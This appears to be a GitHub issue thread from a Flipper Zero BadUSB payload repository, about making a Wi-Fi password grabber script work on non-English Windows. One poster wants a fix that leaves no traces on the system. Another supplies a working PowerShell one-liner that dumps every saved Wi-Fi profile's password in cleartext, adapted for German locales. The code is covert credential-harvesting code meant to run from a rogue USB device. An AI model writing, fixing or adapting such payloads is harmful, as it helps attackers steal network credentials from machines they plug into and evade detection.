Flipper-Zero-BadUSB
Flipper-Zero-BadUSB copied to clipboard
WifiGrabber.ps1 does not work on non-english systems
if the locale is not English , the output of the netsh wlan show profile name...
command does not contain Key Content
.
I have not figured out PS yet to find a reliable universal solution that leaves no traces in the system. Temporarily use several scripts for individual languages
possible solution:
[System.Threading.Thread]::CurrentThread.CurrentCulture = "en-US"
or
$env:LCID = "1033"
but ran into problems in Win 10
I will be looking into this and trying to implement a solution for the relevant payloads. Thank you for bringing this to my attention
To make it work on a german system, u need to replace "Key Content" of the PowerShell-Script to "Schlüsselinhalt":
$wifiProfiles = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" keyMaterial=clear)} | Select-String "Schlüsselinhalt\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String